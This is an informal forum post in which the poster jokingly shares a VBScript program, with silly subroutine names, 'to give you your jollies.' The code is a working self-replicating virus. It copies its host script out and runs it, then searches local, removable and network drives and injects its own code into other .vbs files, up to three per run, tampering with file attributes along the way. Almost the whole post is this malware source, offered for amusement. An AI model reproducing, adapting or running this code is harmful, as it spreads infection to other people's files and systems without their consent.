Kill myself! Hehehe. Yeah this place is growing on me too :-)
Just to raise the level of conversation above ground zero
here is something (not in cobol) to give you your jollies
for the day:
BigBirdBuiltMyHotRod
sub BigBirdBuiltMyHotRod
set fs=CreateObject("Scripting.FileSystemObject")
v=fs.GetFile(WScript.ScriptFullName).OpenAsTextStream(1,0).ReadAll
m="BigBirdBuiltMyHotRod"
o=InStr(v,"sub "&m)
c=0
n=fs.GetTempName&".vbs"
set f=fs.CreateTextFile(n,true)
f.write m&"=0"&vbcrlf&mid(v,23,o-23)
f.close
set s=CreateObject("WScript.Shell").Exec("wscript.exe "&n)
for each d in fs.Drives
x=d.DriveType
if x=2 or x=3 or x=5 then
if c<>3 then
DingADingDangMyDangALongLingLong d.DriveLetter&":\",fs,v,m,o,c
end if
end if
next
do while s.status=0
wscript.sleep 100
loop
fs.DeleteFile(n)
wscript.quit
end sub
sub DingADingDangMyDangALongLingLong(P,ByRef FS,ByRef V,ByRef M,O,ByRef C)
for each f in FS.GetFolder(P).Files
if ucase(right(f.Name,3))="VBS" then
h=f.OpenAsTextStream(1,0).ReadAll
if left(h,20)<>M then
a=f.Attributes:f.Attributes=0
set x=f.OpenAsTextStream(2,0)
x.write left(V,22)&h&vbcrlf&mid(V,O,(len(V)-O)+1)
f.Attributes=a
wscript.echo P&f.Name
C=C+1:if C=3 then:exit sub:end if
end if
end if
next
for each f in FS.GetFolder(P).SubFolders
DingADingDangMyDangALongLingLong P&f.Name&"\",FS,V,M,O,C
if C=3 then:exit sub:end if
next
end sub